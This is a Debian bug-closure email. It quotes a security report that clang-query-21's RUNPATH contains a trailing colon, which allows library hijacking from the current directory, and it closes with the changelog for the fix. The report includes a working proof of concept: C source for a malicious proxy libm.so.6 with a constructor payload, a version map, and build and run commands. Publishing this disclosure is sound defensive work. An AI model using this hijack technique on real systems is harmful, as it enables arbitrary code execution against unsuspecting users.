Your message dated Thu, 22 Oct 2026 11:05:37 +0000
with message-id <[email protected]>
and subject line Bug#1142995: fixed in llvm-toolchain-23 1:23.1.4-1
has caused the Debian Bug report #1142995,
regarding clang-tools-21: Shared library hijacking via Implicit CWD in RUNPATH
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)
--
1142995: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1142995
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: clang-tools-21
Version: 1:21.1.8-7+b1
Severity: grave
Tags: security
I have identified a security vulnerability (CWE-427) in the
`clang-query-21` binary where the `RUNPATH` contains a trailing colon (`:`).
According to ELF standards, a trailing or empty entry in `RUNPATH` is
interpreted by the dynamic linker as the current working directory (`.`).
This allows a local attacker to achieve arbitrary code execution as the
user running `clang-query-21` by placing a malicious shared library in the
working directory.
*Verification:*
$ readelf -d /usr/bin/clang-query-21 | grep RUNPATH
0x000000000000001d (RUNPATH) Library runpath:
[$ORIGIN/../lib:/build/reproducible-path/llvm-toolchain-21-21.1.8/build-llvm/tools/clang/stage2-bins/lib:]
Note the trailing colon. Other binaries in the same package, such as
clang-check-21, have correctly formed RUNPATHs ($ORIGIN/../lib).
*Proof-of-Concept:*
I have successfully exploited this on a Kali Linux (arm64) system by
creating a "proxy" `libm.so.6` in the current directory. By satisfying the
`GLIBC_2.17`, `GLIBC_2.29`, and `GLIBC_2.38` version requirements for
symbols like `fmod`, `log`, and `pow`, I was able to execute a
constructor-based payload (system call to touch /tmp/pwned) before the main
process starts.
This appears to be a build-system misconfiguration specifically affecting
the `clang-query` component of the `llvm-toolchain-21` source package.
*poc_libm.c*
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Dummy implementations
double fmod(double x, double y) { return 0.0; }
double log10(double x) { return 0.0; }
double log(double x) { return 0.0; }
double pow(double x, double y) { return 0.0; }
double ceil(double x) { return 0.0; }
double floor(double x) { return 0.0; }
double exp(double x) { return 0.0; }
double log2(double x) { return 0.0; }
double sin(double x) { return 0.0; }
double cos(double x) { return 0.0; }
double tan(double x) { return 0.0; }
double cosh(double x) { return 0.0; }
double sinh(double x) { return 0.0; }
double tanh(double x) { return 0.0; }
double erf(double x) { return 0.0; }
double logb(double x) { return 0.0; }
double log1p(double x) { return 0.0; }
double atan(double x) { return 0.0; }
double acos(double x) { return 0.0; }
double asin(double x) { return 0.0; }
double atan2(double y, double x) { return 0.0; }
double sqrt(double x) { return 0.0; }
double remainder(double x, double y) { return 0.0; }
int fesetround(int round) { return 0; }
void __attribute__((constructor)) init() {
system("touch /tmp/pwned");
printf("\n[!] HIJACK SUCCESSFUL: libm.so.6 proxied for
clang-query-21\n");
exit(0);
}
*versions.map*
GLIBC_2.17 {
global:
log10; ceil; floor; sin; cos; tan; cosh; sinh; tanh; erf; logb;
log1p; atan; acos; asin; atan2; sqrt; remainder; fesetround;
};
GLIBC_2.29 {
global:
pow; exp; log2; log;
};
GLIBC_2.38 {
global:
fmod;
};
GLIBC_2.27 { global: *; };
*Example:*
$ gcc -shared -fPIC poc_libm.c -o libm.so.6
-Wl,--version-script=versions.map
$ /usr/bin/clang-query-21
[!] HIJACK SUCCESSFUL: libm.so.6 proxied for clang-query-21
$ ls /tmp | grep pwned
pwned
I am reporting this to the BTS as per the Debian Security FAQ guidance for
vulnerabilities in the 'unstable' distribution.
*Proposed Fix:*
The RUNPATH should be sanitized during the build process to remove trailing
colons.
--- End Message ---
--- Begin Message ---
Source: llvm-toolchain-23
Source-Version: 1:23.1.4-1
Done: Sylvestre Ledru <[email protected]>
We believe that the bug you reported is fixed in the latest version of
llvm-toolchain-23, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [email protected],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Sylvestre Ledru <[email protected]> (supplier of updated llvm-toolchain-23
package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [email protected])
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Format: 1.8
Date: Thu, 22 Oct 2026 09:32:45 +0200
Source: llvm-toolchain-23
Architecture: source
Version: 1:23.1.4-1
Distribution: unstable
Urgency: medium
Maintainer: LLVM Packaging Team <[email protected]>
Changed-By: Sylvestre Ledru <[email protected]>
Closes: 1142995
Changes:
llvm-toolchain-23 (1:23.1.4-1) unstable; urgency=medium
.
* New upstream release
* Remove OCaml support (and the libllvm-X.Y-ocaml-dev package). Thanks
to Stephane Glondu for the fix
* Enable sse2 back on i386.
It is now the same as upstream. Thanks to Simon McVittie
* Ship the clang-doc assets (share/clang-doc/) in clang-tools-X.Y with
the clang-doc binary instead of clang-X.Y-doc, so that the HTML output
works (see #1142559)
* Make the source-path entries of /usr/lib/<triplet>/libc++.modules.json
absolute, the relative ones only worked from /usr/lib/llvm-X.Y/lib
(see #1142558)
* Fix the remove_rpath macro in d/rules: it over-escaped '$' so it never
stripped anything since 1:21.1.5. clang-query kept its build-dir
RUNPATH with a trailing ':' which made ld.so look in the current
directory (CWE-427). (Closes: #1142995)
Checksums-Sha1:
a690de95c143ea163a54ce8406def5ef1b0ffd72 15321 llvm-toolchain-23_23.1.4-1.dsc
fb9ba8888ad23dd0bf3646388894f55fafaeec94 211581832
llvm-toolchain-23_23.1.4.orig.tar.xz
c54b58adb4485676dea9fdb36fcb89195515d093 189996
llvm-toolchain-23_23.1.4-1.debian.tar.xz
39bd189759892c86c1b5df0902b8a05f89f88d79 38390
llvm-toolchain-23_23.1.4-1_amd64.buildinfo
Checksums-Sha256:
d641965086ab2106a76a6a5e0b8e1519e8d789f5aed6c9bd51cad79ae023ae38 15321
llvm-toolchain-23_23.1.4-1.dsc
7a81da07e8f3707132b36291cf6f8980354bca00ee3049d698ba98ec204931b4 211581832
llvm-toolchain-23_23.1.4.orig.tar.xz
c22d395752c25c01f4d3fed93fff6c7e183b485e087b9751b7c77ba03166d80b 189996
llvm-toolchain-23_23.1.4-1.debian.tar.xz
0e8acf2d5165f61cb657ea7e2dc0f1a4ef39abdd2048b72df7b5470a39aa5a4b 38390
llvm-toolchain-23_23.1.4-1_amd64.buildinfo
Files:
1003e7107edcc46e61f0c3962c9d8d3c 15321 devel optional
llvm-toolchain-23_23.1.4-1.dsc
e94bf1ca511bc2cc08fa881766058cb0 211581832 devel optional
llvm-toolchain-23_23.1.4.orig.tar.xz
e29e92ddbb6584db6f2410e53e5bc098 189996 devel optional
llvm-toolchain-23_23.1.4-1.debian.tar.xz
3519bf2f8cc1ef6d200151e3bb264aee 38390 devel optional
llvm-toolchain-23_23.1.4-1_amd64.buildinfo
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEtg21mU05vsTRqVzPfmUo2nUvG+EFAmrZ6BwACgkQfmUo2nUv
G+Hpfg//Xbus88GnMh2eHgg0pLul11uKJEcluO+iN6jN2TnVRsyo9y/Viy3v4jhQ
wG/UofzufJetiXiIRsjO2AW4PhHvgojDPmVjh8kp8jblQGJ36yLoB+al3tCJ1JHf
jwObeFp7Ge2qKye47IfI5Hl9ssbI/RUpt/VaUajS5PtYMZlSs28TCI1S1UwL5joO
VE0Yofx43fJcilYywFWM0HQ5CNOGqve/yWFqAsv+qwz6dzm82Dclt44/qOamT0zH
aM0onM444J5mRdD1voPTFR7bLyYEMUmBY49dB1PvBbMR3/zOGLG8rKHvIv5R79dY
dV2Dz9xKEG62oSjaRN7ghs2HgZAjcKrnj4p/GGA1Lj5ITLbUEWSUzrk+j7r/Ri8p
ZbigzlrgoA49rehBC6zo7vMENRLBZcGg9umkZfKe8ffpaLomKG+J3nHiUHC4lRXB
Vix7cjOvys+SEn44elsraa0AQqhx7dQed28QILS6lwJeRD460csw1QsD7t0zd9DL
hlKg+38pm4RmvAT9TSDtl4+VworT1xGG2abUT7dJxgiZKnOVzGRDLwYD+fheoIwS
lRGnU6VPUMUYolE0a0x82yxEj0ZPWjkLDrZxwZ5lM5yYjECnS6INpWFsLauSDJIa
YNBXZ1s/w/MUAS3ul1oxp6fEHZDLYPEnGzia+m0u5ORKZJ7OqbE=
=wiQL
-----END PGP SIGNATURE-----
pgpM29muFA3lV.pgp
Description: PGP signature
--- End Message ---
